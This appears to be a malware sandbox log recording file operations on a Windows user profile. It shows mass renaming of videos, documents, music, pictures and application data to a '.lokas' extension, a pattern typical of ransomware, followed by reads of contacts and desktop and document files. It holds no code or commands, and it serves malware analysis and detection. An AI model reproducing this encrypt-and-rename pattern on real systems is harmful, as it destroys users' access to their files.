Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\9fWl Pmhzcfm0.avi.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\9fWl Pmhzcfm0.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\DjD7qqVPsjaapMWJ5hsT.mp4.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\DjD7qqVPsjaapMWJ5hsT.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\dlnS-sO_EmcE8_Nm.swf.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\dlnS-sO_EmcE8_Nm.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\H3357xe.avi.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\H3357xe.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\HV2XzZ.mkv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\HV2XzZ.mkv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\JY Zvsh3GSgycLkMXjP.avi.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\JY Zvsh3GSgycLkMXjP.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\l7VeGA12Fs.mp4.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\l7VeGA12Fs.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\qyIStBjZu8Q4.mkv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\qyIStBjZu8Q4.mkv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\reXbPxa.mkv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\reXbPxa.mkv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\Rgwx6N48P Yfnm9go.swf.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\Rgwx6N48P Yfnm9go.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\tKe3w.avi.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\tKe3w.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\V9la.mp4.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\V9la.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\vP_fCxcdZuCGW1mdFWw.swf.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\vP_fCxcdZuCGW1mdFWw.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\2Lk23P.ods.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\2Lk23P.ods True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\2n3_ahqBMuVOxHufl.ots.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\2n3_ahqBMuVOxHufl.ots True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\4xI0lzuMCZBm5s6CXE4.csv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\4xI0lzuMCZBm5s6CXE4.csv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\B vEe4F3lAt7UWzM.odt.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\B vEe4F3lAt7UWzM.odt True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\MVX7z7.xls.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\MVX7z7.xls True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\O-s 7sUKUzPU5.rtf.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\O-s 7sUKUzPU5.rtf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\Sgpq1PY.docx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\Sgpq1PY.docx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\U2T6Lm.odt.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\U2T6Lm.odt True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\ubpgT3URAuLj.ppt.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\jrUDN8PqqjrMCWK\ubpgT3URAuLj.ppt True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\iLDfMT-sIIIvIAfERs.odp.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\iLDfMT-sIIIvIAfERs.odp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\qBW-L1i6OoAjVg 7.pdf.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\qBW-L1i6OoAjVg 7.pdf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\vRv2.xls.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\vRv2.xls True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\YF J4bS.ods.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\oAObyQjE2RE200ReTM 2\YF J4bS.ods True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\h2L5g_0fX2E4-\59FeHWyWayuevb4_iZgP.xls.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\h2L5g_0fX2E4-\59FeHWyWayuevb4_iZgP.xls True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\5ql kIynSYxUiIp2nSZ.wav.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\5ql kIynSYxUiIp2nSZ.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\b-VMJ_WiRX.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\b-VMJ_WiRX.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\dxHWuw Qvopg_O.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\dxHWuw Qvopg_O.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\EX2FT7vn0tNX.wav.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\EX2FT7vn0tNX.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\Jtu192CsetLt.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\vLJhMLosG7VFXleeenl\Jtu192CsetLt.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\PSORQW3axNUPS5uQ.gif.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\PSORQW3axNUPS5uQ.gif True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Adobe\Acrobat\10.0\rdrmessage.zip.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Adobe\Acrobat\10.0\rdrmessage.zip True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\index.dat.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\index.dat True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.cab.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.cab True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.msi.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\AU\au.msi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\Deployment\deployment.properties.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\Deployment\deployment.properties True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\Data1.cab.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\Data1.cab True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\jre1.7.0_45.msi.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Sun\Java\jre1.7.0_45\jre1.7.0_45.msi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\h2L5g_0fX2E4-\Dswo3x81eh2\bJMM.odt.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\h2L5g_0fX2E4-\Dswo3x81eh2\bJMM.odt True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\h2L5g_0fX2E4-\Dswo3x81eh2\QxO90MxS0a794iE.csv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\h2L5g_0fX2E4-\Dswo3x81eh2\QxO90MxS0a794iE.csv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\dV-4OgHw.jpg.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\dV-4OgHw.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\l-BZ9z46Yh.gif.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\l-BZ9z46Yh.gif True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\36USA68T\imagesrv.adition[1].xml.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\36USA68T\imagesrv.adition[1].xml True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\3O75JDME\www.google[1].xml.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\3O75JDME\www.google[1].xml True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\VGMTOI09\www.msn[1].xml.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\VGMTOI09\www.msn[1].xml True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\0oYpcgE\56-yF4GGULAUhf4UDL0L.png.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\0oYpcgE\56-yF4GGULAUhf4UDL0L.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\0oYpcgE\nWWH1.jpg.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\0oYpcgE\nWWH1.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\HgMWObDN_T\zLV996oLAFyQZtVPKWLF.gif.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\maSLl2ddJ2f\1iB5Z_g 0Z7m\HgMWObDN_T\zLV996oLAFyQZtVPKWLF.gif True 1
Fn
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Aclviho ASldjfl.contact size = 153605, size_out = 1178 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\Administrator.contact size = 153605, size_out = 68382 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\asdlfk poopvy.contact size = 153605, size_out = 1171 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\chucu jadnvk.contact size = 153605, size_out = 1177 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\lulcit amkdfe.contact size = 153605, size_out = 1174 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Contacts\sikvnb huvuib.contact size = 153605, size_out = 1172 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\260cK27AaAW.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\260cK27AaAW.mp3 size = 153605, size_out = 32035 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\8FBB.tmp.exe size = 153605, size_out = 153605 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9HKDKJPWcbZp3.rtf size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9HKDKJPWcbZp3.rtf size = 153605, size_out = 88688 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\a3aopYTabt2PqX.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\a3aopYTabt2PqX.mp4 size = 153605, size_out = 28833 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CnGwikB4ixpjleaou.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CnGwikB4ixpjleaou.wav size = 153605, size_out = 38150 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\c_N92I4.mkv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\c_N92I4.mkv size = 153605, size_out = 46432 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\gAGIpgNn-ah_P.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\gAGIpgNn-ah_P.mp4 size = 153605, size_out = 60093 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\hBtij2XxjeIr.jpg size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\hBtij2XxjeIr.jpg size = 153605, size_out = 58556 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\iG6P2_66c9kPrLMe.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\iG6P2_66c9kPrLMe.m4a size = 153605, size_out = 100995 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\I_Fs9J3.wav size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\I_Fs9J3.wav size = 153605, size_out = 77928 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\j WmU7ker3Iej.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\j WmU7ker3Iej.mp3 size = 153605, size_out = 48808 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Krb2lboJPMb.m4a size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Krb2lboJPMb.m4a size = 153605, size_out = 44576 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nk Bv.png size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nk Bv.png size = 153605, size_out = 30585 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nU7U5gg9puyk9 ks9j.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\nU7U5gg9puyk9 ks9j.mp3 size = 153605, size_out = 86484 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\pSR 950o t1F-.mp4 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\pSR 950o t1F-.mp4 size = 153605, size_out = 74738 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rrFPXj-iFL_y.gif size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\rrFPXj-iFL_y.gif size = 153605, size_out = 59194 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\s8Ur5b0FR5.xlsx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\s8Ur5b0FR5.xlsx size = 153605, size_out = 99884 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\we5v8X.jpg size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\we5v8X.jpg size = 153605, size_out = 46458 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\wkj-WJ_BWT6jKq0jb8L.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\wkj-WJ_BWT6jKq0jb8L.mp3 size = 153605, size_out = 21889 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Yhvz3du1L4T.flv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Yhvz3du1L4T.flv size = 153605, size_out = 63386 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\YN0nlMxLgsxDN89Wvw.mp3 size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\YN0nlMxLgsxDN89Wvw.mp3 size = 153605, size_out = 35011 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Z1ijPRENeZM bVg.flv size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Z1ijPRENeZM bVg.flv size = 153605, size_out = 96613 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\AFpOY4r3P4.pptx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\AFpOY4r3P4.pptx size = 153605, size_out = 41886 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\aoCKhNvwPg7 G_EglTRd.pptx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\aoCKhNvwPg7 G_EglTRd.pptx size = 153605, size_out = 40383 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\cziIE32ag xe.ots size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\cziIE32ag xe.ots size = 153605, size_out = 48481 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\k1_TmsZisgvN4S.pptx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\k1_TmsZisgvN4S.pptx size = 153605, size_out = 38226 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\KnsOJGoYLE.docx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\KnsOJGoYLE.docx size = 153605, size_out = 89341 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\MKWv2Lnto6B0LC.xlsx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\MKWv2Lnto6B0LC.xlsx size = 153605, size_out = 101608 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\mlUXviQ806vyLllkB.xlsx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\mlUXviQ806vyLllkB.xlsx size = 153605, size_out = 99573 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\nasLdS_jK7TsrsDLk.docx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\nasLdS_jK7TsrsDLk.docx size = 153605, size_out = 45441 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\O6M7.pptx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\O6M7.pptx size = 153605, size_out = 17163 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\qMPNA1vbVY9_-nAG.docx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\qMPNA1vbVY9_-nAG.docx size = 153605, size_out = 22359 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\r29okez.docx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\r29okez.docx size = 153605, size_out = 16446 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\rtNG.xlsx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\rtNG.xlsx size = 153605, size_out = 37642 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\vC7KMK.xlsx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\vC7KMK.xlsx size = 153605, size_out = 99695 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\WKJRVuyD0u.pptx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\WKJRVuyD0u.pptx size = 153605, size_out = 31138 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\xf1du7.docx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\xf1du7.docx size = 153605, size_out = 96718 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yuc5.xlsx size = 38, size_out = 38 True 1
Fn
Data
Read C:\Users\5p5NrGJn0jS HALPmcxz\Documents\yuc5.xlsx size = 153605, size_out = 102273 True 1
Fn
Data
